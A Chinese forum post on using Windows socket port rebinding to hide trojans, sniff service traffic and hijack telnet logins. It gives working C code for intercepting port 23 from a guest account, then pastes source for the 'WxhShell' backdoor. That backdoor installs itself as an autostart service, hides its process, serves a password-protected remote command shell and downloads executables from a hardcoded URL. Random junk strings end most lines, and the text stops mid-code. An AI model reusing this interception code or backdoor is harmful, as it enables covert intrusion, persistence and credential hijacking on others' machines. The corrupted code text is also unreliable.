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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lNls8@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nWmc  
tjuW+5O  
  saddr.sin_family = AF_INET; !$qNugLg  
@H1pPr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jYO@ %bQ  
o @~XX@5l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $2 ~A^#"0  
F+*: >@3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n]6xrsE  
-Ufd+(   
  这意味着什么?意味着可以进行如下的攻击: t 0nGZ%`  
L8/o9N1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j}#48{  
- :*PXu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r >u0Y  
P_,f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ) ?+-Z2BwA  
`c(,_o a{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .e"De-u  
b4S7 Q"g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `f8{ ^Rau  
v3Te+oLg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Xr6lYO_R  
9 qqy(H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x4 4)o:  
%Kd8ZNv  
  #include S-Ryt>G  
  #include vn6/H8  
  #include 5i83(>p3]e  
  #include    2W$c%~j$2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fw|r{#d  
  int main() XDz![s  
  { {jJUS>  
  WORD wVersionRequested; V-O49  
  DWORD ret; 'nBJ[$2^  
  WSADATA wsaData; IP-CN  
  BOOL val; _ZC4O&fL  
  SOCKADDR_IN saddr; D0~WK stl  
  SOCKADDR_IN scaddr; bhnm<RZ  
  int err; t`Mm  
  SOCKET s; TB*g$ *  
  SOCKET sc; 1CFrV=d  
  int caddsize; toX4kmC  
  HANDLE mt; 4/~8zvz&3  
  DWORD tid;   LV4 x9?&  
  wVersionRequested = MAKEWORD( 2, 2 ); rcOpOoU|  
  err = WSAStartup( wVersionRequested, &wsaData ); JrOp-ug  
  if ( err != 0 ) { 2:&8FdU  
  printf("error!WSAStartup failed!\n"); i8Yl1nF  
  return -1; 7==Uz?}C  
  } N@58R9P<p  
  saddr.sin_family = AF_INET; `IFt;Ja\6  
   v}+axu/?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #fzvK+  
rRYP~ $c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ` {k>I^Pg  
  saddr.sin_port = htons(23); G0^23j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y^2`)':  
  { [o*u!2 r  
  printf("error!socket failed!\n"); D 7 [n^WtL  
  return -1; HC?yodp^  
  } h 34|v=8d  
  val = TRUE; /-8v]nRB  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |t4k&Dkx`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A\i /@x5#  
  { 7iLm_#M  
  printf("error!setsockopt failed!\n"); o-lb/=K+  
  return -1; }Xrs"u,  
  } \#m;L/D  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g4oFUyk{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vD[@cm  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N+"Y@X yg  
"5synfO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |pqLwnOu  
  { VahR nD  
  ret=GetLastError(); Ty*ec%U9F  
  printf("error!bind failed!\n"); ~SUA.YuF  
  return -1; 0u'4kF!P!  
  } e\%QHoi>u  
  listen(s,2); y~SFlv36  
  while(1) 5w@  ;B  
  { DcQ^V4_  
  caddsize = sizeof(scaddr); oZA|IF8U0  
  //接受连接请求 A0V"5syY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wkdd&Nw;  
  if(sc!=INVALID_SOCKET) F$ZWQ9&5U0  
  { !_?<-f(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $P866F  
  if(mt==NULL) 7B"J x^  
  { /A9Mv%zjk  
  printf("Thread Creat Failed!\n"); nbMH:UY,J  
  break; Jk}L+X vv  
  } _-o*3gmbQ  
  }  +h9U V  
  CloseHandle(mt); ^R,5T}J.  
  } l0U6eOx  
  closesocket(s); h:z;b;  
  WSACleanup(); x/[i &Gkv  
  return 0; k {s#wJA  
  }   Av.(i2  
  DWORD WINAPI ClientThread(LPVOID lpParam) ngsax1xO  
  { it&c ,+8  
  SOCKET ss = (SOCKET)lpParam; ^W_}Gd<-#Y  
  SOCKET sc; o*qEAy ?  
  unsigned char buf[4096]; FT[oM<M\Xd  
  SOCKADDR_IN saddr; Zv7@  
  long num; 0k:&7(j  
  DWORD val; c72Oy+#  
  DWORD ret; q-o=lU"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d#ya"e>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0Y)b319B  
  saddr.sin_family = AF_INET; jm.pb/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .x(&-  
  saddr.sin_port = htons(23); IywovN Tr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cQ6[o"j.  
  { "*RCV6{  
  printf("error!socket failed!\n"); _8 vxb  
  return -1; MeQ(,irr^  
  } ,RCjfX a  
  val = 100; \$?[>=<wB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }sPY+ZjV  
  { +(/XMx}a  
  ret = GetLastError(); @!0j)5%  
  return -1; >h[tHM O  
  } thipfS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %f6l"~y  
  { w?jmi~6  
  ret = GetLastError(); xXA$16kd  
  return -1; g~FB&U4c  
  } XhWMvme  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l]sO[`X  
  { v0"|J3  
  printf("error!socket connect failed!\n"); jph~ g*Z  
  closesocket(sc); Mky$#SI11  
  closesocket(ss); .7ahz8v  
  return -1; n  'P:  
  } &0(2Z^Z>fw  
  while(1) f910drg7  
  { oq8~PTw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K8|6r|x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g?`D8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 II>X6  
  num = recv(ss,buf,4096,0); nz+o8L,  
  if(num>0) 45kMIh~~X  
  send(sc,buf,num,0); R3?~+ y&  
  else if(num==0) Vq9hAD|k  
  break; %(6f  
  num = recv(sc,buf,4096,0); mKe{y.  
  if(num>0) Ic#+*W\ZW  
  send(ss,buf,num,0); LaN4%[;X1-  
  else if(num==0) ]3d&S5zU  
  break; 5Hr(9)  
  } ( fdDFb#1  
  closesocket(ss); ;lYO)Z`3\  
  closesocket(sc); }s}9@kl;&  
  return 0 ; V9Au\  
  } MYN1zYT6j  
`(Q58wR}  
YQQ!1 hw  
========================================================== 7Mo O2  
+QldZba  
下边附上一个代码,,WXhSHELL {H])Fob  
PDD` eK}Fj  
========================================================== *k+QX   
:\4O9f*5+  
#include "stdafx.h" ~@'|R%jJ  
&cpRB&bf  
#include <stdio.h> De>pIN;B>  
#include <string.h> RK rBHqh@  
#include <windows.h> cLR8U1k'  
#include <winsock2.h> e% 5!  
#include <winsvc.h> (a^F`#]  
#include <urlmon.h> #y>oCB`EM  
cgz'6q'T  
#pragma comment (lib, "Ws2_32.lib") A]H+rxg  
#pragma comment (lib, "urlmon.lib") ^<y$+HcH  
< "~k8:=4  
#define MAX_USER   100 // 最大客户端连接数 Jc:G7}j6  
#define BUF_SOCK   200 // sock buffer PU -~7h+$  
#define KEY_BUFF   255 // 输入 buffer l_,8_u7G  
DU 8)c$  
#define REBOOT     0   // 重启 K9w24Oka  
#define SHUTDOWN   1   // 关机 +S/8{2%?DG  
V 8n}"  
#define DEF_PORT   5000 // 监听端口 f_Wn[I{  
wV5<sH__  
#define REG_LEN     16   // 注册表键长度 ,(c="L4[  
#define SVC_LEN     80   // NT服务名长度 !kV?h5@Bo  
l" sR\`~  
// 从dll定义API }DZkCzK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E+~~d6nB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jWU)y)$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?nt6vqaV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $mlsFBd  
^eZqsd8a  
// wxhshell配置信息 jBE= Ij  
struct WSCFG { JRodYXjE  
  int ws_port;         // 监听端口 !2{MWj  
  char ws_passstr[REG_LEN]; // 口令 ImF/RKI~ "  
  int ws_autoins;       // 安装标记, 1=yes 0=no xUSIck  
  char ws_regname[REG_LEN]; // 注册表键名 Q|xPm:  
  char ws_svcname[REG_LEN]; // 服务名 YDmFR,047  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0hNc#x6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B"Fg`s+]U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~4\bR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7,+:Q Y@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )%MB o.NL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rcyH2)Y/e  
As)-a5!  
}; ,%,}[q?]d  
HuK'tU#  
// default Wxhshell configuration =%]dk=n?TN  
struct WSCFG wscfg={DEF_PORT, :$}67b)MO  
    "xuhuanlingzhe", x1Si&0T0P<  
    1, ]h|GaHiE  
    "Wxhshell", IF1?/D"<  
    "Wxhshell", nZ%<2  
            "WxhShell Service", $}\. )^[}  
    "Wrsky Windows CmdShell Service", l|uN-{ w  
    "Please Input Your Password: ", D!@c,H  
  1, ?ii a  
  "http://www.wrsky.com/wxhshell.exe", Y.}n,y|J}  
  "Wxhshell.exe" (TY^ kySr  
    }; ](a<b@p  
I`y}Ky<q  
// 消息定义模块 FijzO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ] xH `  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L^0jyp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?EpY4k8,  
char *msg_ws_ext="\n\rExit."; 3ea6g5kX  
char *msg_ws_end="\n\rQuit."; sxuYwQ  
char *msg_ws_boot="\n\rReboot..."; Z#Zk)  
char *msg_ws_poff="\n\rShutdown..."; zCco/]h  
char *msg_ws_down="\n\rSave to "; Zd~Z`B} &  
9xWeVlfQ  
char *msg_ws_err="\n\rErr!"; n=yFw\w'  
char *msg_ws_ok="\n\rOK!"; C"F(kgL  
8<g5.$xyz  
char ExeFile[MAX_PATH]; : 0%V:B  
int nUser = 0; U,+=>ns>  
HANDLE handles[MAX_USER]; CF$^we  
int OsIsNt; y\@XW*_?  
cy}2~w&s4  
SERVICE_STATUS       serviceStatus; N:d" {k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q}m)Q('Rk  
4~Z\tP|Q.  
// 函数声明 qvab >U`  
int Install(void); #=zh&`  
int Uninstall(void); U9;AU] A  
int DownloadFile(char *sURL, SOCKET wsh); M<)HJ lr  
int Boot(int flag); gGZ$}vX  
void HideProc(void); fYH%vr)  
int GetOsVer(void); fo5!d@Nv  
int Wxhshell(SOCKET wsl); ikofJl]9  
void TalkWithClient(void *cs); jmAWto}.  
int CmdShell(SOCKET sock); ?5+=  
int StartFromService(void); jt;,7Ek  
int StartWxhshell(LPSTR lpCmdLine); /O&j1g@  
U`:$1*(`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \6sp"KqP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mT)iN`$Y@  
C$?dkmIt  
// 数据结构和表定义 fwOvlD&e  
SERVICE_TABLE_ENTRY DispatchTable[] = ] ^.#d  
{ Z$+0gm\Cnw  
{wscfg.ws_svcname, NTServiceMain}, Bh@j6fv  
{NULL, NULL} N]5-#  
}; ^(a%B  
0P!6 .-XU  
// 自我安装 & }}o9  
int Install(void) ,H.q%!{h_  
{ ya|7hz{  
  char svExeFile[MAX_PATH]; e&wW lB![  
  HKEY key; VV?KJz=,W=  
  strcpy(svExeFile,ExeFile); *,z__S$Q)  
CRS/qso[Q'  
// 如果是win9x系统,修改注册表设为自启动 n*'|7#;  
if(!OsIsNt) { v+Ooihxl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /tV)8pEj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PCD1I98  
  RegCloseKey(key); Pirc49c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fpzC#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b~cN#w #  
  RegCloseKey(key);  @4H*kA  
  return 0; b^FB[tZ\x  
    } :~g=n&x  
  } CxwZ$0  
} + e4o~ p  
else { S^~GI$  
iGm[fxQ|  
// 如果是NT以上系统,安装为系统服务 L%N|8P[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e6]u5;B r  
if (schSCManager!=0) 72Ft?;R  
{ V~ZAs+(2Z  
  SC_HANDLE schService = CreateService Bm.%bA>  
  ( &|55:Y87  
  schSCManager, \J:/l|h  
  wscfg.ws_svcname, y<.1+TG  
  wscfg.ws_svcdisp, n Hy|  
  SERVICE_ALL_ACCESS, _kgw+NA&-H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wD"Y1?Mr  
  SERVICE_AUTO_START, \~U8<z  
  SERVICE_ERROR_NORMAL, M2mte#h  
  svExeFile, s8eFEi  
  NULL, >H?8?a D  
  NULL, rsA K0R+  
  NULL, >* dqFZF  
  NULL, t|d9EC]c(  
  NULL - x@mS2  
  ); kcI3pmgj  
  if (schService!=0) F}.<x5I-;h  
  { AEhh 6v  
  CloseServiceHandle(schService); tec CU[O  
  CloseServiceHandle(schSCManager); (|"K sGl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XkOsnI8n  
  strcat(svExeFile,wscfg.ws_svcname); d\D.l^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^q7 fN0"6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vt@.fT#e  
  RegCloseKey(key); : xB<Rq  
  return 0; /J8y[aa  
    } (wnkdI{  
  } t%V!SvT8+  
  CloseServiceHandle(schSCManager); U c$RYPq  
} K`768 %q  
} XeKIue@_  
HTvA]-AuM  
return 1; R/xeC [r  
} MAQkk%6[g  
E"nIC,VZ  
// 自我卸载 !z$.Jcr1  
int Uninstall(void) Y6 &w0~?!  
{ h /@G[5E  
  HKEY key; zT*EpIa+LS  
Kbrb;r59  
if(!OsIsNt) { O| ) [j@7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |fOQm  
  RegDeleteValue(key,wscfg.ws_regname); iE!\)7y  
  RegCloseKey(key); -: dUD1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ ,d!K2`  
  RegDeleteValue(key,wscfg.ws_regname); 8:|F'{<<b  
  RegCloseKey(key); #\_N-bVu  
  return 0; a4Fe MCvV9  
  } S{7A3 x'B  
} lqTTTk  
} y}FTLX $  
else { xJ:15eDC  
>A;Mf*E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m?V4r#t  
if (schSCManager!=0)  bF0 y`  
{ 4%0eX]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #ih(I7prH  
  if (schService!=0) GBFYa6\4sT  
  { mADq_` j  
  if(DeleteService(schService)!=0) { esIE i!d  
  CloseServiceHandle(schService); J 6D?$  
  CloseServiceHandle(schSCManager); D4$;jz,,  
  return 0; ?<STt 9  
  } 4#1[i|:M  
  CloseServiceHandle(schService); -1 ;BwlL  
  } !X[b 4p  
  CloseServiceHandle(schSCManager); 6*J`2U9Q  
} 3pl/k T.\  
} P4-`<i]!S  
q;3.pRw(  
return 1; }_vE lBh6$  
} BxS\ "W  
]Nz~4ebB  
// 从指定url下载文件 Mk Er|w'  
int DownloadFile(char *sURL, SOCKET wsh) %QCh#v=ks  
{ : 9wW*Ix  
  HRESULT hr; J\^ZRu_K  
char seps[]= "/"; meA=lg?  
char *token; lTBPq?4{  
char *file; r({!ejT{U  
char myURL[MAX_PATH]; sKVN*8ia  
char myFILE[MAX_PATH]; $!)Sgb  
x DD3Y{ K  
strcpy(myURL,sURL); rlEEf/m:  
  token=strtok(myURL,seps); o{f|==<t3#  
  while(token!=NULL) ACxOC2\n  
  { q|;_G#4  
    file=token; 61L  vT"  
  token=strtok(NULL,seps); 8QDs4Bv|  
  } U` uP^  
r BQFC 4L  
GetCurrentDirectory(MAX_PATH,myFILE); 7=(r k  
strcat(myFILE, "\\"); rJ|Q%utYz  
strcat(myFILE, file); DN3#W w2[r  
  send(wsh,myFILE,strlen(myFILE),0); (Z;;v|F.i=  
send(wsh,"...",3,0); <5X?6*Qvr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r~&"D#)sy  
  if(hr==S_OK) #; CC"  
return 0; >>oR@  
else FR&4i" +  
return 1; YNyaz\L  
3z';Zwz &X  
} V3DXoRE-8i  
rH Et]Xa  
// 系统电源模块 FKRO0%M4}Z  
int Boot(int flag) #}*w &y  
{ |h$*z9bsf  
  HANDLE hToken; KE!aa&g  
  TOKEN_PRIVILEGES tkp; `@1y|j:m  
PLD6Ug  
  if(OsIsNt) { QWz5iM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a$H*C(wL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AlT41v~6  
    tkp.PrivilegeCount = 1; 2[6>h)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ky>0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3NAU|//J  
if(flag==REBOOT) { _ZX"gH x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) __o`+^FS  
  return 0; ]wFKXZeK  
} ?@8[1$1a  
else { .@KpN*`KH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) golr,+LSo  
  return 0; {@, } M  
} ^wNx5t  
  } #2l6'gWE0  
  else { Fb#.Gg9b>  
if(flag==REBOOT) { *W aL}i(P1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GO0Spf_Gh  
  return 0; kzU;24"K  
} U'(}emh}  
else { /)fx(u#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rj6:.KEJ  
  return 0; GPlAQk  
} :?W {vV  
} OjO$.ecT  
hd{Vz{;W  
return 1; ?|!167/O  
} /^ *GoB  
3 d $  
// win9x进程隐藏模块 _%^t[4)q  
void HideProc(void) dJID '2a  
{ Xvu|ss  
y Nb&;E7 H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /xf4*zr  
  if ( hKernel != NULL ) :a$ZYyD  
  { / !J1}S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tKg\qbY&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b*$/(2"m  
    FreeLibrary(hKernel); ~3-2Iu^F  
  } 6!P];3&o\A  
^@f%A<  
return; 0w^\sf%s  
} ZK,}3b{  
w}n:_e  
// 获取操作系统版本 ]yu,YZ@7  
int GetOsVer(void) L$zI_ z  
{ !#cZ!  
  OSVERSIONINFO winfo; 8was/^9;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jCdKau&9  
  GetVersionEx(&winfo); HRS|VC$tz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SjgF&LD  
  return 1; *4}l V8  
  else 4 4%jz-m  
  return 0; k#"Pv"  
} Ij; =  
V"":_`1VW  
// 客户端句柄模块 V# Mw  
int Wxhshell(SOCKET wsl) [P#^nyOh(  
{ fq-$u;~h  
  SOCKET wsh; :()(P9?  
  struct sockaddr_in client; pcw!e_"+  
  DWORD myID; 86d *  
| rJ_  
  while(nUser<MAX_USER) %4QCUc*lr  
{ dLOUL9hf  
  int nSize=sizeof(client); N{Og; roGD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); - bL 7M5  
  if(wsh==INVALID_SOCKET) return 1; +o&E)S}wP  
cGSoAK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +wd} '4)  
if(handles[nUser]==0) ]:TX> X!  
  closesocket(wsh); ),`MAevp  
else bqY}t. Y&"  
  nUser++; 0 [6llcuj  
  } Fs_,RXW"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7kpCBLM(}  
8>q:Q<BB2  
  return 0; :H[E W3Q  
} E:BEQ:(~L  
'>FJk`iI  
// 关闭 socket  |u 8hxa  
void CloseIt(SOCKET wsh) TnET1$@qr*  
{ YLk; ^?  
closesocket(wsh); Mi'Q5m  
nUser--; lh`inAt)"  
ExitThread(0); PZ69aZ*Gs  
} t!^FWr&  
[;B_ENV  
// 客户端请求句柄 9/C0DDb  
void TalkWithClient(void *cs) j}YZl@dYV  
{ rN? L8  
-F,o@5W>Y  
  SOCKET wsh=(SOCKET)cs; U,/NygB~  
  char pwd[SVC_LEN]; R`=IYnoOA  
  char cmd[KEY_BUFF]; <x@\3{{U  
char chr[1]; e2w$":6>  
int i,j; ixN>KwH  
V M[9!:  
  while (nUser < MAX_USER) { K8*QS_*  
Z4'"*  
if(wscfg.ws_passstr) { uE:#m.Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R =HN>(U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S |T:rc(~  
  //ZeroMemory(pwd,KEY_BUFF); [;dWFG"f  
      i=0; UNocm0!N'  
  while(i<SVC_LEN) { @%J?[PG  
G\h8j*o  
  // 设置超时 QQ@, v@j5  
  fd_set FdRead; BXueOvO8  
  struct timeval TimeOut; A`u04Lm7  
  FD_ZERO(&FdRead); v}dt**l  
  FD_SET(wsh,&FdRead); o*/\ oVOq  
  TimeOut.tv_sec=8; l ,)l"6OV  
  TimeOut.tv_usec=0; g92M\5 x9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wbI(o4rXE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &:L8; m  
P,AS`=z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9\TvX!)h  
  pwd=chr[0]; LXIlrZ9D5  
  if(chr[0]==0xd || chr[0]==0xa) { XboOvdt^|  
  pwd=0; `<y[V  
  break; o)n8,k&nm  
  } Zx25H"5j  
  i++; Faa:h#  
    } Q"8)'dL'  
7d/wT+f  
  // 如果是非法用户,关闭 socket n);2b\&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #l~ d  
} XRs/gUT  
Ed #%F-1sX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EH3jzE3N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lsW.j#yE!  
S$%/9^\jF  
while(1) { =Z/'|;Vd_x  
+YT/od1t7  
  ZeroMemory(cmd,KEY_BUFF); 6N.mSnp  
0]8+rWp|Nz  
      // 自动支持客户端 telnet标准   FVG|5'V^  
  j=0; 3leg,q d  
  while(j<KEY_BUFF) { H*|Bukgt/M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &.kg8|s{  
  cmd[j]=chr[0]; t,N- |  
  if(chr[0]==0xa || chr[0]==0xd) { .5L/<  
  cmd[j]=0; s5|LD'o!  
  break; 7x9YA$IE  
  } &m8B%9w  
  j++; cv:nlq)  
    } 3~I<f ^K4  
e^~t52]  
  // 下载文件 9b]*R.x:$&  
  if(strstr(cmd,"http://")) { ~QBf78@Gf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $';'MoS  
  if(DownloadFile(cmd,wsh)) S,AZrgh,"X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b9|F>3?r>  
  else ^1,]?F^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \+GXUnkj  
  } f;u;hQxs  
  else { %9mB4Fc6b)  
B>X+eK  
    switch(cmd[0]) { IvIBf2D;Q  
  NL&g/4A[a  
  // 帮助 l[G ,sq"  
  case '?': { 3}g?d/^E3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (]1le|+  
    break; E\m?0]W|  
  } i04Sf^  
  // 安装 Si]Z`_  
  case 'i': { 4)Pt]#Ti  
    if(Install()) n4."}DO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); idO3/>R [  
    else G&C)`};  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?2EzNNcS  
    break; ' 1P_*  
    } I4|p;\`fK  
  // 卸载 cIM5;"gLP  
  case 'r': { vp mSzh  
    if(Uninstall()) 7C2/^x P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qg 6m  
    else A9l^S|r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }f&7<E  
    break; )CR8-z1`  
    } t 1C{  
  // 显示 wxhshell 所在路径 1b|<   
  case 'p': { #s yP=  
    char svExeFile[MAX_PATH]; HqYaQ~Dth  
    strcpy(svExeFile,"\n\r"); ;o^m"I\y  
      strcat(svExeFile,ExeFile); G#@<bg3  
        send(wsh,svExeFile,strlen(svExeFile),0); ;k/0N~  
    break; P\zi:]h[Gh  
    } n+uq|sYVa  
  // 重启 )1x333.[c  
  case 'b': { 0l 3RwWj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4QI vxH  
    if(Boot(REBOOT)) 3&' STPpW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1~7y]d?%  
    else { G$@X>)2N8  
    closesocket(wsh); H50nR$$<*Y  
    ExitThread(0); +Z;0"'K'e  
    } +'#d*r91@  
    break; 3^ Z tIZ  
    } tQ&#FFt,)  
  // 关机 IwH ,g^0\  
  case 'd': { Jb tbW &EH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f4tia .  
